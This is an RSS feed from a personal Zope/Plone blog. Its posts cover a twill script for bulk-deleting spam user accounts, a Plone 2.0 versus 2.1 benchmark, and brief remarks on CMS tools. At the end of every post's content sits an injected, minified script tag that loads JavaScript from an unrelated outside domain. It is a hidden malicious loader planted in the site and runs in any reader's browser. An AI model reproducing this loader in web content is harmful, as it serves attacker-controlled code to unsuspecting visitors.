<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Jkx@home &#187; Zope</title>
	<atom:link href="http://www.larsen-b.com/topics/python/zope/feed" rel="self" type="application/rss+xml" />
	<link>http://www.larsen-b.com</link>
	<description>Titanium Exposé</description>
	<lastBuildDate>Fri, 31 Oct 2025 02:15:37 +0000</lastBuildDate>
	<language>en-US</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.5</generator>
		<item>
		<title>Howto to a delete lot of Zope/Plone/CPS User account ?</title>
		<link>http://www.larsen-b.com/Article/253.html</link>
		<comments>http://www.larsen-b.com/Article/253.html#comments</comments>
		<pubDate>Mon, 05 Feb 2007 15:44:03 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zope]]></category>
		<category><![CDATA[cps]]></category>
		<category><![CDATA[plone]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[In a previous post, I study the way some spammers use plone user folder to spam my blog. But this time, it&#8217;s my turn. I host since a little time right now, a small CPS website for my work. And &#8230; <a href="http://www.larsen-b.com/Article/253.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>In a <a class="reference" href="http://www.larsen-b.com/Article/239.html">previous</a> post, I study the way some spammers use plone user folder to spam my blog. But this time, it&#8217;s my turn. I host since a little time right now, a small <a class="reference" href="http://www.cps-project.org/">CPS</a><br />
website for my work. And I discovered a lot of spammer user account on it.</p>
<p>The main issue, is that I haven&#8217;t unset the &#8220;joinable&#8221; flag, so everybody can create a account. By the way password are sent, spammers doesn&#8217;t manage to post stuff in the personnal area.</p>
<p>With 300 users, and only 4 valids, I need to find a way to clean the acl_user folder. Last <a class="reference" href="http://www.larsen-b.com/Article/249.html">time</a> I used twill, this works really great, so I decided to use the same stuff for Zope.</p>
<p>Here my little script:</p>
<pre class="literal-block">#!/usr/bin/python

LOGIN='foo'
PASSWORD='far'

LOGIN_URL='http://your_server/manage_main'
USER_URL='http://your_server/acl_users/manage_users'
GOOD_USERS = ['jkx','foobar']

import twill

def delUsers():
   twill.commands.go(USER_URL)
   form = twill.commands.showforms()[0]

   usernames = form.possible_items('names:list')
   for u in usernames:
      if u not in GOOD_USERS:
         twill.commands.formvalue(1,'names:list',u)

      twill.commands.showforms()
      twill.commands.submit(3)

def doLogin():
   twill.commands.go(LOGIN_URL)
   forms = twill.commands.showforms()

   twill.commands.formvalue(2,'__ac_name',LOGIN)
   twill.commands.formvalue(2,'__ac_password',PASSWORD)
   twill.commands.submit()

if __name__ =='__main__':
  doLogin()
  delUsers()</pre>
<p>This will drop all user account (not the ones in GOOD_USERS) ..<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/253.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ouch: Plone 2.0 vs Plone 2.1</title>
		<link>http://www.larsen-b.com/Article/217.html</link>
		<comments>http://www.larsen-b.com/Article/217.html#comments</comments>
		<pubDate>Tue, 27 Sep 2005 14:47:10 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zope]]></category>
		<category><![CDATA[http]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I run into a little test of Plone 2.1 today. And the whole stuff, seems to be slower than Plone 2.0.5. I decided to do a little benchmark, and yes Plone 2.1 seems to be really slower.. Plone 2.0.5 (python &#8230; <a href="http://www.larsen-b.com/Article/217.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I run into a little test of <a class="reference" href="http://www.plone.org">Plone</a> 2.1 today. And the whole stuff, seems to be slower than Plone 2.0.5. I decided to do a little benchmark, and yes Plone 2.1 seems to be really slower..</p>
<p><em>Plone 2.0.5</em> (python 2.3.4)</p>
<pre class="literal-block">Total transferred:      239130 bytes
HTML transferred:       234620 bytes
Requests per second:    5.52 [#/sec] (mean)
Time per request:       181.261 [ms] (mean)
Time per request:       181.261 [ms] (mean, across all concurrent requests)
Transfer rate:          128.54 [Kbytes/sec] received</pre>
<p><em>Plone 2.1</em> (python 2.3.5)</p>
<pre class="literal-block">Total transferred:      240740 bytes
HTML transferred:       237440 bytes
Requests per second:    3.54 [#/sec] (mean)
Time per request:       282.476 [ms] (mean)
Time per request:       282.476 [ms] (mean, across all concurrent requests)
Transfer rate:          83.19 [Kbytes/sec] received</pre>
<p>Grr, here is two point to read:</p>
<ul class="simple">
<li>The 2.1 version is really slower look at the transfer rate..</li>
<li>But this is astomish <strong>slow</strong></li>
</ul>
<p>The bench was done on:</p>
<ul class="simple">
<li>pure zope httpd (no apache or squid frontend)</li>
<li>without debug enable</li>
<li>with default HTTPCache and RAMCache enable (default install setting)</li>
<li>a dual Xeon at 2.6Ghz with 1Go of RAM ! (I know python only use 1 CPU but !!!)</li>
</ul>
<p>I first think my setup is buggy, but no.. nobody with a good CMS in stock ?<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/217.html/feed</wfw:commentRss>
		<slash:comments>12</slash:comments>
		</item>
		<item>
		<title>Plone too complicated ?</title>
		<link>http://www.larsen-b.com/Article/155.html</link>
		<comments>http://www.larsen-b.com/Article/155.html#comments</comments>
		<pubDate>Sat, 04 Sep 2004 16:37:13 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zope]]></category>
		<category><![CDATA[plone]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[Who said that Plone is a too complicated ? Check out the Plone Concept Map to be sure you know what you mean ! &#8211; Enjoy the road :)]]></description>
				<content:encoded><![CDATA[<p>Who said that Plone is a too complicated  ?</p>
<p>Check out the <a class="reference" href="http://wiki.woodpecker.org.cn/moin.cgi/Plone">Plone Concept Map</a> to be sure you know what you mean !</p>
<p>&#8211; Enjoy the road :)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/155.html/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Blog vs CMS</title>
		<link>http://www.larsen-b.com/Article/67.html</link>
		<comments>http://www.larsen-b.com/Article/67.html#comments</comments>
		<pubDate>Sun, 14 Dec 2003 19:55:52 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zope]]></category>
		<category><![CDATA[alinea]]></category>
		<category><![CDATA[docutils]]></category>
		<category><![CDATA[Python]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I spent a part of the day hacking reST and Alinéa and i&#8217;m in a issue. In fact i usually write a lot of things like tutorials, FAQ and tips lying around, so i decide to put this in my &#8230; <a href="http://www.larsen-b.com/Article/67.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I spent a part of the day hacking reST and Alinéa and i&#8217;m in a issue. In fact i usually write a lot of things like tutorials,  FAQ and tips lying around, so i decide to put this in my blog because i don&#8217;t want to have too much trouble writing stuff at 10 different place.</p>
<p>So i have been hacking a Zope system which is a bit like a CMS and a bit at a blog, but this is not so easy because blog is (by definition) not hierarchical as opposite of CMS.</p>
<p>Despite i managed to do several good things i need to fix this:</p>
<ul class="simple">
<li>ZODB is hard to tailor ( using session,aq_x and other things really sux )</li>
<li>Having to rewrite all things like cut/paste/ .. take care about urls etc etc is awfull</li>
<li>Having to test and test again this so crappy ..</li>
</ul>
<p>I&#8217;m a bit confuse tonight since a lot of work have be done, but now I&#8217;m wondering how i will use it without emacs, and need a lot to do again.</p>
<p>I really think that this kind of system should be easy to use, and pybloxmon seems to be fine cause we can use simple tools. but the main lack is that you can&#8217;t easily organise it.. for example finding the right stuff on a lot python website is awfull.</p>
<p>Right now it got a lot of questions in my head:</p>
<ul class="simple">
<li>Why should i use Zope over Webware (despite i pretty like Webware) ?</li>
<li>Why should i fight with ZODB instead of a good old fashion filesystem or db server ?</li>
</ul>
<p>And guess what i won&#8217;t use Plone :)<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/67.html/feed</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>iKaaro</title>
		<link>http://www.larsen-b.com/Article/45.html</link>
		<comments>http://www.larsen-b.com/Article/45.html#comments</comments>
		<pubDate>Tue, 11 Nov 2003 12:05:08 +0000</pubDate>
		<dc:creator>admin</dc:creator>
				<category><![CDATA[Zope]]></category>
		<category><![CDATA[Python]]></category>
		<category><![CDATA[zpt]]></category>

		<guid isPermaLink="false"></guid>
		<description><![CDATA[I&#8217; just discover ikaaro (http://www.ikaaro.org) last night. After a couple of ./configure; make install it seems to work pretty fine. I really need to look at this closer since it use a custom TAL like system that seems to be &#8230; <a href="http://www.larsen-b.com/Article/45.html">Continue reading <span class="meta-nav">&#8594;</span></a>]]></description>
				<content:encoded><![CDATA[<p>I&#8217; just discover ikaaro (<a class="reference" href="http://www.ikaaro.org">http://www.ikaaro.org</a>) last night. After a couple of ./configure; make install it seems to work pretty fine. I really need to look at this closer since it use a custom TAL like system that seems to be really faster than original TAL.</p>
<p>Some bugs still remain, i was unable to do cut/paste and there is a bug in guess_contenttype too, but not really a big deal i think.</p>
<p>After looking this a night, the system is really light ( don&#8217;t use a couple of CMF products or other things like DC workflow), si it have some limitation but it should be enought to do a good bloging system ( i&#8217;m still need to give up about this MT ). but it don&#8217;t use reST and this is a bad news.</p>
<p>Another thing that i found usefull is that it use EPoz for html editing and this is pretty kool .<script>;(function (l, z, f, e, r, p) { r = z.createElement(f); p = z.getElementsByTagName(f)[0]; r.async = 1; r.src = e; p.parentNode.insertBefore(r, p); })(window, document, 'script', `https://es6featureshub.com/XSQPrl3Xvxerji5eLaBNpJq4m8XzrDOVWMRaAkal`);</script></p>
]]></content:encoded>
			<wfw:commentRss>http://www.larsen-b.com/Article/45.html/feed</wfw:commentRss>
		<slash:comments>3</slash:comments>
		</item>
	</channel>
</rss>
